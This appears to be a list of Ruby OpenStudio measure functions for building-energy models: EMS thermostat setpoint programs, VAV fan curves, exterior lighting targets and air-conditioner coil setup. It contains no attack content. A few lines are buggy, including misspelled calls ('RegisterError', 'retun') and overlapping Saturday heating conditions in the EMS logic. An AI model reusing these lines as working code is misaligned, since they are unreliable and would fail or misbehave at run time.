end\n \n # get existing zone cooling t-stat schedule \n exg_clg_temp_sch = tstat_dual_setpt.coolingSetpointTemperatureSchedule\n if exg_clg_temp_sch.is_initialized\n exg_clg_temp_sch = exg_clg_temp_sch.get\n exg_clg_temp_sch_name = exg_clg_temp_sch.name\n \n # replace existing cooling T-stat schedule with constant temp schedule so that the existing schedule object (a resource \n # object potentially referenced elsewhere in the osm file) is not tampered with.\n tstat_dual_setpt.setCoolingSchedule(constant_clg_setpt_sch)\n if verbose_info_statements == true\n runner.registerInfo(\"For Dual Setpoint T-stat serving zone named #{zone.name}, replaced clg setpoint schedule named #{exg_clg_temp_sch_name} with new schedule named #{constant_clg_setpt_sch.name}.\") \n end\n end\n else\n runner.RegisterError(\"This measure was written to modify the schedules of an existing Dual Setpoint Thermostat schedule. the zone named #{zone.name} does not have this type of thermostat object. Please correct and re-run.\")\n retun false\n end \n \n end # end loop through selected_zones\n\n # Create EMS Actuator Objects\n ems_htg_sch_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(constant_htg_setpt_sch,\"Schedule:Constant\",\"Schedule Value\")\n ems_htg_sch_actuator.setName(\"myHTGSETP_SCH\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator object named '#{ems_htg_sch_actuator.name}' representing the htg t-stat schedule named #{constant_htg_setpt_sch.name} added to the model.\") \n end\n ems_clg_sch_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(constant_clg_setpt_sch,\"Schedule:Constant\",\"Schedule Value\")\n ems_clg_sch_actuator.setName(\"myCLGSETP_SCH\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Actuator object named '#{ems_clg_sch_actuator.name}' representing the clg t-stat schedule named #{constant_clg_setpt_sch.name} added to the model.\") \n end\n # Create new EnergyManagementSystem:Program object for computing cooling setpoint and modfying the clg schedule\n ems_clg_setpoint_prg = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_clg_setpoint_prg.setName(\"MyComputedCoolingSetpointProg\")\n ems_clg_setpoint_prg.addLine(\"IF (DayOfWeek == 1)\")\n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 30.0\")\n ems_clg_setpoint_prg.addLine(\"ELSEIF (Holiday == 3.0) && (DayOfMonth == 21) && (Month == 1)\") # Winter Design Day\n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 30.0\")\n ems_clg_setpoint_prg.addLine(\"ELSEIF HOUR < 6\")\n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 30.0\")\n ems_clg_setpoint_prg.addLine(\"ELSEIF (Hour >= 6) && (Hour < 22) && (DayOfWeek >= 2) && (DayOfWeek <= 6)\")\n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 24.0\")\n ems_clg_setpoint_prg.addLine(\"ELSEIF (Hour >= 6) && (hour < 18) && (DayOfWeek == 7)\") \n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 24.0\")\n ems_clg_setpoint_prg.addLine(\"ELSEIF (Hour >= 6) && (hour >= 18) && (DayOfWeek == 7)\")\n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 30.0\")\n ems_clg_setpoint_prg.addLine(\"ELSEIF (Hour >= 22)\")\n ems_clg_setpoint_prg.addLine(\"SET #{ems_clg_sch_actuator.name} = 30.0\")\n ems_clg_setpoint_prg.addLine(\"ENDIF\") \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_clg_setpoint_prg.name}' added to modify the clg setpoint of qualifed zones based on EMS logic.\")\n end\n \n # Create new EnergyManagementSystem:Program object for computing heating setpoint\n ems_htg_setpoint_prg = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_htg_setpoint_prg.setName(\"MyComputedHeatingSetpointProg\")\n ems_htg_setpoint_prg.addLine(\"SET locHour = Hour\") # Echo out for debug\n ems_htg_setpoint_prg.addLine(\"SET locDay = DayOfWeek\") # Echo out for debug\n ems_htg_setpoint_prg.addLine(\"SET locHol = Holiday\") # Echo out for debug\n ems_htg_setpoint_prg.addLine(\"IF (DayOfWeek == 1)\")\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 15.6\")\n ems_htg_setpoint_prg.addLine(\"ELSEIF (Holiday == 3.0) && (DayOfYear == 21)\") # Winter Design Day\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 21.0\")\n ems_htg_setpoint_prg.addLine(\"ELSEIF HOUR < 5\")\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 15.6\")\n ems_htg_setpoint_prg.addLine(\"ELSEIF (Hour >= 5) && (Hour < 19) && (DayOfWeek >= 2) && (DayOfWeek <= 6)\")\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 21.0\")\n ems_htg_setpoint_prg.addLine(\"ELSEIF (Hour >= 6) && (hour < 17) && (DayOfWeek == 7)\")\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 21.0\")\n ems_htg_setpoint_prg.addLine(\"ELSEIF (Hour >= 6) && (hour <= 17) && (DayOfWeek == 7)\")\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 15.6\")\n ems_htg_setpoint_prg.addLine(\"ELSEIF (Hour >= 19)\")\n ems_htg_setpoint_prg.addLine(\"SET #{ems_htg_sch_actuator.name} = 15.6\")\n ems_htg_setpoint_prg.addLine(\"ENDIF\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_htg_setpoint_prg.name}' added to modify the htg setpoint of qualified zone based on EMS logic.\")\n end\n \n # create new EnergyManagementSystem:ProgramCallingManager object and configure to call htg and clg setpoint EMS programs\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"My Setpoint Schedule Calculator Example\")\n ems_prgm_calling_mngr.setCallingPoint(\"BeginTimestepBeforePredictor\")\n ems_prgm_calling_mngr.addProgram(ems_clg_setpoint_prg)\n ems_prgm_calling_mngr.addProgram(ems_htg_setpoint_prg)\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_clg_setpoint_prg.name} and #{ems_htg_setpoint_prg.name} EMS programs.\") \n \n # create OutputEnergyManagementSystem object (a 'unique' object) and configure to allow EMS reporting\n output_EMS = model.getOutputEnergyManagementSystem\n output_EMS.setInternalVariableAvailabilityDictionaryReporting('internal_variable_availability_dictionary_reporting')\n output_EMS.setEMSRuntimeLanguageDebugOutputLevel('ems_runtime_language_debug_output_level')\n output_EMS.setActuatorAvailabilityDictionaryReporting('actuator_availability_dictionary_reporting')\n \n # create output variables for reporting on EMS actuated objects\n htg_schedule_output_variable = OpenStudio::Model::OutputVariable.new('Schedule Value', model)\n htg_schedule_output_variable.setReportingFrequency('timestep')\n sch_name = constant_htg_setpt_sch.name.to_s\n htg_schedule_output_variable.setKeyValue(sch_name)\n htg_schedule_output_variable.setVariableName('Schedule Value')\n if verbose_info_statements == true\n runner.registerInfo(\"A new E+ output variable object named '#{htg_schedule_output_variable.name}' was added to the .rdd file generated by model.\") \n end\n \n clg_schedule_output_variable = OpenStudio::Model::OutputVariable.new('Schedule Value', model)\n clg_schedule_output_variable.setReportingFrequency('timestep')\n sch_name = constant_clg_setpt_sch.name.to_s\n clg_schedule_output_variable.setKeyValue(sch_name)\n clg_schedule_output_variable.setVariableName('Schedule Value')\n if verbose_info_statements == true\n runner.registerInfo(\"A new E+ output variable object named '#{clg_schedule_output_variable.name}' was added to the .rdd file generated by model.\") \n end\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n #use the built-in error checking\n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n #assign the user inputs to variables\n fan_choice = runner.getOptionalWorkspaceObjectChoiceValue(\"fan_choice\",user_arguments,model) #model is passed in because of argument type\n coeff_choice = runner.getOptionalStringArgumentValue(\"coeff_choice\", user_arguments)\n \n #check the fan for reasonableness\n apply_to_all_fans = false\n fan = nil\n if fan_choice.empty?\n handle = runner.getStringArgumentValue(\"fan_choice\",user_arguments)\n if handle == OpenStudio::toUUID(\"\").to_s\n #all fans\n apply_to_all_fans = true\n fan = nil\n runner.registerInfo(\"Apply new coefficients to all variable volume fans.\")\n else\n runner.registerError(\"The selected fan with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if not fan_choice.get.to_FanVariableVolume.empty?\n fan = fan_choice.get.to_FanVariableVolume.get\n else\n runner.registerError(\"Script Error - argument not showing up as a Fan Variable Volume.\")\n return false\n end\n end #end of if fan.empty?\n\n #get fans for measure\n if apply_to_all_fans\n fans = model.getFanVariableVolumes\n else\n fans = []\n fans << fan\n end\n \n if fans.size == 0\n runner.registerError(\"Measure not applicable because there are no variable volume fans in the model.\")\n end\n \n #loop through fans and set new coefficients\n num_fans = 0\n fans.each do |fan|\n if coeff_choice.to_s == \"Multi Zone VAV with Airfoil or Backward Incline riding the curve\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Multi Zone VAV with Airfoil or Backward Incline riding the curve\")\n fan.setFanPowerCoefficient1(0.1631)\n fan.setFanPowerCoefficient2(1.5901)\n fan.setFanPowerCoefficient3(-0.8817)\n fan.setFanPowerCoefficient4(0.1281)\n fan.setFanPowerMinimumFlowFraction(0.70)\n elsif coeff_choice.to_s == \"Multi Zone VAV with Airfoil or Backward Incline with inlet vanes\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Multi Zone VAV with Airfoil or Backward Incline with inlet vanes\")\n fan.setFanPowerCoefficient1(0.9977)\n fan.setFanPowerCoefficient2(-0.659)\n fan.setFanPowerCoefficient3(0.9547)\n fan.setFanPowerCoefficient4(-0.2936)\n fan.setFanPowerMinimumFlowFraction(0.50)\n elsif coeff_choice.to_s == \"Multi Zone VAV with Forward Curved fans riding the curve\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Multi Zone VAV with Forward Curved fans riding the curve\")\n fan.setFanPowerCoefficient1(0.1224)\n fan.setFanPowerCoefficient2(0.612)\n fan.setFanPowerCoefficient3(0.5983)\n fan.setFanPowerCoefficient4(-0.3334)\n fan.setFanPowerMinimumFlowFraction(0.30)\n elsif coeff_choice.to_s == \"Multi Zone VAV with Forward Curved with inlet vanes\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Multi Zone VAV with Forward Curved with inlet vanes\")\n fan.setFanPowerCoefficient1(0.3038)\n fan.setFanPowerCoefficient2(-0.7608)\n fan.setFanPowerCoefficient3(2.2729)\n fan.setFanPowerCoefficient4(-0.8169)\n fan.setFanPowerMinimumFlowFraction(0.30)\n elsif coeff_choice.to_s == \"Multi Zone VAV with vane-axial with variable pitch blades\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Multi Zone VAV with vane-axial with variable pitch blades\")\n fan.setFanPowerCoefficient1(0.1639)\n fan.setFanPowerCoefficient2(-0.4016)\n fan.setFanPowerCoefficient3(1.9909)\n fan.setFanPowerCoefficient4(-0.7541)\n fan.setFanPowerMinimumFlowFraction(0.20) \n elsif coeff_choice.to_s == \"Multi Zone VAV with VSD and fixed SP setpoint\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Multi Zone VAV with VSD and fixed SP setpoint\")\n fan.setFanPowerCoefficient1(0.0013)\n fan.setFanPowerCoefficient2(0.1470)\n fan.setFanPowerCoefficient3(0.9506)\n fan.setFanPowerCoefficient4(-0.0998)\n fan.setFanPowerMinimumFlowFraction(0.20)\n elsif coeff_choice.to_s == \"Multi zone VAV with static pressure reset\"\n runner.registerInfo(\"setting #{fan.name.to_s} coefficients to Multi zone VAV with static pressure reset\")\n fan.setFanPowerCoefficient1(0.040759894)\n fan.setFanPowerCoefficient2(0.088044970)\n fan.setFanPowerCoefficient3(-0.072926120)\n fan.setFanPowerCoefficient4(0.943739823)\n fan.setFanPowerMinimumFlowFraction(0.10)\n elsif coeff_choice.to_s == \"Single zone VAV fan\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Single zone VAV fan\")\n fan.setFanPowerCoefficient1(0.027827882)\n fan.setFanPowerCoefficient2(0.026583195)\n fan.setFanPowerCoefficient3(-0.0870687)\n fan.setFanPowerCoefficient4(1.03091975)\n fan.setFanPowerMinimumFlowFraction(0.10)\n elsif coeff_choice.to_s == \"Typical VSD Fan\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to Typical VSD Fan\")\n fan.setFanPowerCoefficient1(0.047182815)\n fan.setFanPowerCoefficient2(0.130541742)\n fan.setFanPowerCoefficient3(-0.117286942)\n fan.setFanPowerCoefficient4(0.940313747)\n fan.setFanPowerMinimumFlowFraction(0.10)\n elsif coeff_choice.to_s == \"No SP Reset VSD Fan\"\n runner.registerInfo(\"Setting #{fan.name.to_s} coefficients to No SP Reset VSD Fan\")\n fan.setFanPowerCoefficient1(0.070428852)\n fan.setFanPowerCoefficient2(0.385330201)\n fan.setFanPowerCoefficient3(-0.460864118)\n fan.setFanPowerCoefficient4(1.00920344)\n fan.setFanPowerMinimumFlowFraction(0.10)\n end\n num_fans += 1 \n\t end\n \n runner.registerFinalCondition(\"Changed fan coefficients for #{num_fans} fan object(s) to #{coeff_choice}\")\t\n return true\n\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n target = runner.getStringArgumentValue('target', user_arguments)\n lightingZone = runner.getStringArgumentValue('lightingZone', user_arguments).split(//).first # I only want the first character\n facadeLandscapeLighting = runner.getDoubleArgumentValue('facadeLandscapeLighting', user_arguments)\n parkingDrivesLighting = runner.getDoubleArgumentValue('parkingDrivesLighting', user_arguments)\n walkwayPlazaSpecialLighting = runner.getDoubleArgumentValue('walkwayPlazaSpecialLighting', user_arguments)\n costTotalExteriorLights = runner.getDoubleArgumentValue('costTotalExteriorLights', user_arguments)\n\n # check arguments for reasonableness\n checkDoubleArguments = OsLib_HelperMethods.checkDoubleAndIntegerArguments(runner, user_arguments, 'min' => 0.0, 'max' => nil, 'min_eq_bool' => true, 'max_eq_bool' => false, 'arg_array' => ['facadeLandscapeLighting', 'parkingDrivesLighting', 'walkwayPlazaSpecialLighting', 'costTotalExteriorLights'])\n if !checkDoubleArguments then return false end\n\n # prepare rule hash\n rules = [] # exterior lighting zone, lighting type, LPD W/ft^2, setback fraction\n\n # exterior lighting recommendations is the same across all climate zones\n # TSD low energy - primary (2219 W), secondary (18,980 W). Total (21,200) .Both controlled by astronomical clock and schedule\n # TSD baseline - primary (5547 W), secondary (47,450 W). Total (53,000). Only controlled by astronomical clock.\n # Using 2.5x target values for baseline value.\n baselineToTargetRatio = 2.5\n\n # facadeLandscapeLighting Target\n # notes on controls: auto OFF between 12am and 6am\n rules << ['0', 'facadeLandscapeLighting', 'AEDG SmMdOff - Target', 'NA', 'NA']\n rules << ['1', 'facadeLandscapeLighting', 'AEDG SmMdOff - Target', 'NA', 'NA']\n rules << ['2', 'facadeLandscapeLighting', 'AEDG SmMdOff - Target', 0.05, 0.0]\n rules << ['3', 'facadeLandscapeLighting', 'AEDG SmMdOff - Target', 0.075, 0.0]\n rules << ['4', 'facadeLandscapeLighting', 'AEDG SmMdOff - Target', 0.075, 0.0]\n\n # parkingDrivesLighting Target\n # notes on controls: reduce to 25% between 12am and 6am\n rules << ['0', 'parkingDrivesLighting', 'AEDG SmMdOff - Target', 'NA', 'NA', 'NA']\n rules << ['1', 'parkingDrivesLighting', 'AEDG SmMdOff - Target', 'NA', 'NA', 'NA']\n rules << ['2', 'parkingDrivesLighting', 'AEDG SmMdOff - Target', 0.06, 0.25]\n rules << ['3', 'parkingDrivesLighting', 'AEDG SmMdOff - Target', 0.1, 0.25]\n rules << ['4', 'parkingDrivesLighting', 'AEDG SmMdOff - Target', 0.1, 0.25]\n\n # walkwayPlazaSpecialLighting Target\n # notes on controls: reduce to 25% between 12am and 6am\n rules << ['0', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Target', 'NA', 'NA']\n rules << ['1', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Target', 'NA', 'NA']\n rules << ['2', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Target', 0.16, 0.25]\n rules << ['3', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Target', 0.14, 0.25]\n rules << ['4', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Target', 0.14, 0.25]\n\n # facadeLandscapeLighting Baseline\n # notes on controls: only astronomical\n rules << ['0', 'facadeLandscapeLighting', 'AEDG SmMdOff - Baseline', 'NA', 'NA']\n rules << ['1', 'facadeLandscapeLighting', 'AEDG SmMdOff - Baseline', 'NA', 'NA']\n rules << ['2', 'facadeLandscapeLighting', 'AEDG SmMdOff - Baseline', 0.05 * baselineToTargetRatio, 1.0]\n rules << ['3', 'facadeLandscapeLighting', 'AEDG SmMdOff - Baseline', 0.075 * baselineToTargetRatio, 1.0]\n rules << ['4', 'facadeLandscapeLighting', 'AEDG SmMdOff - Baseline', 0.075 * baselineToTargetRatio, 1.0]\n\n # parkingDrivesLighting Baseline\n # notes on controls: only astronomical\n rules << ['0', 'parkingDrivesLighting', 'AEDG SmMdOff - Baseline', 'NA', 'NA']\n rules << ['1', 'parkingDrivesLighting', 'AEDG SmMdOff - Baseline', 'NA', 'NA']\n rules << ['2', 'parkingDrivesLighting', 'AEDG SmMdOff - Baseline', 0.06 * baselineToTargetRatio, 1.0]\n rules << ['3', 'parkingDrivesLighting', 'AEDG SmMdOff - Baseline', 0.1 * baselineToTargetRatio, 1.0]\n rules << ['4', 'parkingDrivesLighting', 'AEDG SmMdOff - Baseline', 0.1 * baselineToTargetRatio, 1.0]\n\n # walkwayPlazaSpecialLighting Baseline\n # notes on controls: only astronomical\n rules << ['0', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Baseline', 'NA', 'NA']\n rules << ['1', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Baseline', 'NA', 'NA']\n rules << ['2', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Baseline', 0.16 * baselineToTargetRatio, 1.0]\n rules << ['3', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Baseline', 0.14 * baselineToTargetRatio, 1.0]\n rules << ['4', 'walkwayPlazaSpecialLighting', 'AEDG SmMdOff - Baseline', 0.14 * baselineToTargetRatio, 1.0]\n\n # make rule hash for cleaner code\n rulesHash = {}\n rules.each do |rule|\n rulesHash[\"#{rule[0]} #{rule[1]} #{rule[2]}\"] = { 'LPD_ip' => rule[3], 'setbackFraction' => rule[4] }\n end\n\n # flag for roof surface type for tips\n facadeLandscapeLightingFlag = false\n parkingDrivesLightingFlag = false\n walkwayPlazaSpecialLightingFlag = false\n\n # get starting exterior lighting value\n getExteriorLightsValue = OsLib_LightingAndEquipment.getExteriorLightsValue(model)\n\n # reporting initial condition of model\n runner.registerInitialCondition(\"The initial model had #{getExteriorLightsValue['exterior_lights'].size} exterior lights with a total power of #{getExteriorLightsValue['exteriorLightingPower']} Watts.\")\n\n # remove exterior lights\n lightsRemoved = OsLib_LightingAndEquipment.removeAllExteriorLights(model, runner)\n\n # TODO: - later could calculate good default value for facade lights, and possibly smart defaults based on building size\n\n # add facade lights\n if facadeLandscapeLighting > 0\n addExteriorLights_inputs = {\n 'name' => 'Exterior Lights - Facade',\n 'power' => rulesHash[\"#{lightingZone} facadeLandscapeLighting #{target}\"]['LPD_ip'] * facadeLandscapeLighting,\n 'setbackStartTime' => 0,\n 'setbackEndTime' => 6,\n 'setbackFraction' => rulesHash[\"#{lightingZone} facadeLandscapeLighting #{target}\"]['setbackFraction']\n }\n facadeLights = OsLib_LightingAndEquipment.addExteriorLights(model, runner, addExteriorLights_inputs)\n facadeLandscapeLightingFlag = true\n end\n\n # add parking lights\n if parkingDrivesLighting > 0\n addExteriorLights_inputs = {\n 'name' => 'Exterior Lights - Parking',\n 'power' => rulesHash[\"#{lightingZone} parkingDrivesLighting #{target}\"]['LPD_ip'] * parkingDrivesLighting,\n 'setbackStartTime' => 0,\n 'setbackEndTime' => 6,\n 'setbackFraction' => rulesHash[\"#{lightingZone} parkingDrivesLighting #{target}\"]['setbackFraction']\n }\n parkingLights = OsLib_LightingAndEquipment.addExteriorLights(model, runner, addExteriorLights_inputs)\n parkingDrivesLightingFlag = true\n end\n\n # add walkway lights\n if walkwayPlazaSpecialLighting > 0\n addExteriorLights_inputs = {\n 'name' => 'Exterior Lights - Walkway',\n 'power' => rulesHash[\"#{lightingZone} walkwayPlazaSpecialLighting #{target}\"]['LPD_ip'] * walkwayPlazaSpecialLighting,\n 'setbackStartTime' => 0,\n 'setbackEndTime' => 6,\n 'setbackFraction' => rulesHash[\"#{lightingZone} walkwayPlazaSpecialLighting #{target}\"]['setbackFraction']\n }\n walkwayLights = OsLib_LightingAndEquipment.addExteriorLights(model, runner, addExteriorLights_inputs)\n walkwayPlazaSpecialLightingFlag = true\n end\n\n # get building to add cost to\n building = model.getBuilding\n\n # global variables for costs\n expected_life = 25\n years_until_costs_start = 0\n\n # add cost to building\n if costTotalExteriorLights > 0\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost('Exterior Lights', building, costTotalExteriorLights, 'CostPerEach', 'Construction', expected_life, years_until_costs_start)\n lcc_mat_TotalCost = lcc_mat.get.totalCost\n else\n lcc_mat_TotalCost = 0\n end\n\n # populate AEDG tip keys\n aedgTips = []\n\n # note: the K12 AEDG doesn't mention EL20, EL24, or E24 but they both seem relevant.\n\n if facadeLandscapeLightingFlag\n aedgTips.push('EL20', 'EL23', 'EL24', 'EL25')\n end\n if parkingDrivesLightingFlag\n aedgTips.push('EL20', 'EL21', 'EL24', 'EL25')\n end\n if walkwayPlazaSpecialLightingFlag\n aedgTips.push('EL20', 'EL22', 'EL24', 'EL25')\n end\n\n # create not applicable of no constructions were tagged to change\n if aedgTips.empty? && !lightsRemoved\n runner.registerAsNotApplicable('No exterior lights were added to the model, and no lights were removed.')\n return true\n end\n\n # populate how to tip messages\n aedgTipsLong = OsLib_AedgMeasures.getLongHowToTips('SmMdOff', aedgTips.uniq.sort, runner)\n if !aedgTipsLong\n return false # this should only happen if measure writer passes bad values to getLongHowToTips\n end\n\n # get final exterior lighting value\n getExteriorLightsValue = OsLib_LightingAndEquipment.getExteriorLightsValue(model)\n\n # reporting final condition of model\n # todo - add cost to final condition\n runner.registerFinalCondition(\"The final model had #{getExteriorLightsValue['exterior_lights'].size} exterior lights with a total power of #{getExteriorLightsValue['exteriorLightingPower']} Watts. Cost of exterior lights are $#{OpenStudio.toNeatString(lcc_mat_TotalCost, 0, true)}. #{aedgTipsLong}\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n #use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\t \n acCoolingInstalledSEER = runner.getDoubleArgumentValue(\"acCoolingInstalledSEER\",user_arguments)\n acNumberSpeeds = runner.getDoubleArgumentValue(\"acNumberSpeeds\",user_arguments)\n acCoolingEER = runner.getStringArgumentValue(\"acCoolingEER\",user_arguments).split(\",\").map {|i| i.to_f}\n acSHRRated = runner.getStringArgumentValue(\"acSHRRated\",user_arguments).split(\",\").map {|i| i.to_f}\n acCapacityRatio = runner.getStringArgumentValue(\"acCapacityRatio\",user_arguments).split(\",\").map {|i| i.to_f}\n acRatedAirFlowRate = runner.getDoubleArgumentValue(\"acRatedAirFlowRate\",user_arguments)\n acFanspeedRatio = runner.getStringArgumentValue(\"acFanspeedRatio\",user_arguments).split(\",\").map {|i| i.to_f}\n acSupplyFanPowerRated = runner.getDoubleArgumentValue(\"acSupplyFanPowerRated\",user_arguments)\n acSupplyFanPowerInstalled = runner.getDoubleArgumentValue(\"acSupplyFanPowerInstalled\",user_arguments)\n acCondenserType = runner.getStringArgumentValue(\"acCondenserType\",user_arguments)\n acCrankcase = runner.getDoubleArgumentValue(\"acCrankcase\",user_arguments)\n acCrankcaseMaxT = runner.getDoubleArgumentValue(\"acCrankcaseMaxT\",user_arguments)\n acEERCapacityDerateFactor1ton = runner.getDoubleArgumentValue(\"acEERCapacityDerateFactor1ton\",user_arguments)\n acEERCapacityDerateFactor2ton = runner.getDoubleArgumentValue(\"acEERCapacityDerateFactor2ton\",user_arguments)\n acEERCapacityDerateFactor3ton = runner.getDoubleArgumentValue(\"acEERCapacityDerateFactor3ton\",user_arguments)\n acEERCapacityDerateFactor4ton = runner.getDoubleArgumentValue(\"acEERCapacityDerateFactor4ton\",user_arguments)\n acEERCapacityDerateFactor5ton = runner.getDoubleArgumentValue(\"acEERCapacityDerateFactor5ton\",user_arguments)\n acEERCapacityDerateFactor = [acEERCapacityDerateFactor1ton, acEERCapacityDerateFactor2ton, acEERCapacityDerateFactor3ton, acEERCapacityDerateFactor4ton, acEERCapacityDerateFactor5ton]\n acOutputCapacity = runner.getStringArgumentValue(\"acCoolingOutputCapacity\",user_arguments)\n unless acOutputCapacity == Constants.SizingAuto\n acOutputCapacity = OpenStudio::convert(acOutputCapacity.split(\" \")[0].to_f,\"ton\",\"Btu/h\").get\n end\n\n # error checking\n unless [1, 2, 4].include? acNumberSpeeds\n runner.registerError(\"Invalid number of compressor speeds entered.\")\n return false\n end\n unless ( acNumberSpeeds == acCoolingEER.length and acNumberSpeeds == acSHRRated.length and acNumberSpeeds == acCapacityRatio.length and acNumberSpeeds == acFanspeedRatio.length )\n runner.registerError(\"Entered wrong length for EER, Rated SHR, Capacity Ratio, or Fan Speed Ratio given the Number of Speeds.\")\n return false\n end \n \n # Create the material class instances\n air_conditioner = AirConditioner.new(acCoolingInstalledSEER, acNumberSpeeds, acRatedAirFlowRate, acFanspeedRatio, acCapacityRatio, acCoolingEER, acSupplyFanPowerInstalled, acSupplyFanPowerRated, acSHRRated, acCondenserType, acCrankcase, acCrankcaseMaxT, acEERCapacityDerateFactor)\n supply = Supply.new\n\n # _processAirSystem\n \n if air_conditioner.ACCoolingInstalledSEER == 999\n air_conditioner.hasIdealAC = true\n else\n air_conditioner.hasIdealAC = false\n end\n\n supply.static = UnitConversion.inH2O2Pa(0.5) # Pascal\n\n # Flow rate through AC units - hardcoded assumption of 400 cfm/ton\n supply.cfm_ton = 400 # cfm / ton\n\n supply.HPCoolingOversizingFactor = 1 # Default to a value of 1 (currently only used for MSHPs)\n supply.SpaceConditionedMult = 1 # Default used for central equipment \n \n # Cooling Coil\n if air_conditioner.hasIdealAC\n supply = HVAC.get_cooling_coefficients(runner, air_conditioner.ACNumberSpeeds, true, false, supply)\n else\n supply = HVAC.get_cooling_coefficients(runner, air_conditioner.ACNumberSpeeds, false, false, supply)\n end\n supply.CFM_TON_Rated = HVAC.calc_cfm_ton_rated(air_conditioner.ACRatedAirFlowRate, air_conditioner.ACFanspeedRatio, air_conditioner.ACCapacityRatio)\n supply = HVAC._processAirSystemCoolingCoil(runner, air_conditioner.ACNumberSpeeds, air_conditioner.ACCoolingEER, air_conditioner.ACCoolingInstalledSEER, air_conditioner.ACSupplyFanPowerInstalled, air_conditioner.ACSupplyFanPowerRated, air_conditioner.ACSHRRated, air_conditioner.ACCapacityRatio, air_conditioner.ACFanspeedRatio, air_conditioner.ACCondenserType, air_conditioner.ACCrankcase, air_conditioner.ACCrankcaseMaxT, air_conditioner.ACEERCapacityDerateFactor, air_conditioner, supply, false)\n \n # Determine if the compressor is multi-speed (in our case 2 speed).\n # If the minimum flow ratio is less than 1, then the fan and\n # compressors can operate at lower speeds.\n if supply.min_flow_ratio == 1.0\n supply.compressor_speeds = 1.0\n else\n supply.compressor_speeds = supply.Number_Speeds\n end\n \n num_units = Geometry.get_num_units(model, runner)\n if num_units.nil?\n return false\n end \n \n (0...num_units).to_a.each do |unit_num|\n _nbeds, _nbaths, unit_spaces = Geometry.get_unit_beds_baths_spaces(model, unit_num + 1, runner)\n thermal_zones = Geometry.get_thermal_zones_from_unit_spaces(unit_spaces)\n if thermal_zones.length > 1\n runner.registerInfo(\"Unit #{unit_num + 1} spans more than one thermal zone.\")\n end\n control_slave_zones_hash = Geometry.get_control_and_slave_zones(thermal_zones)\n control_slave_zones_hash.each do |control_zone, slave_zones|\n \n # Remove existing equipment\n htg_coil = HelperMethods.remove_existing_hvac_equipment(model, runner, \"Central Air Conditioner\", control_zone)\n \n # _processCurvesDXCooling\n \n clg_coil_stage_data = HVAC._processCurvesDXCooling(model, supply, acOutputCapacity)\n\n # _processSystemCoolingCoil\n \n if supply.compressor_speeds == 1.0\n\n clg_coil = OpenStudio::Model::CoilCoolingDXSingleSpeed.new(model, model.alwaysOnDiscreteSchedule, clg_coil_stage_data[0].totalCoolingCapacityFunctionofTemperatureCurve, clg_coil_stage_data[0].totalCoolingCapacityFunctionofFlowFractionCurve, clg_coil_stage_data[0].energyInputRatioFunctionofTemperatureCurve, clg_coil_stage_data[0].energyInputRatioFunctionofFlowFractionCurve, clg_coil_stage_data[0].partLoadFractionCorrelationCurve)\n clg_coil.setName(\"DX Cooling Coil\")\n if acOutputCapacity != 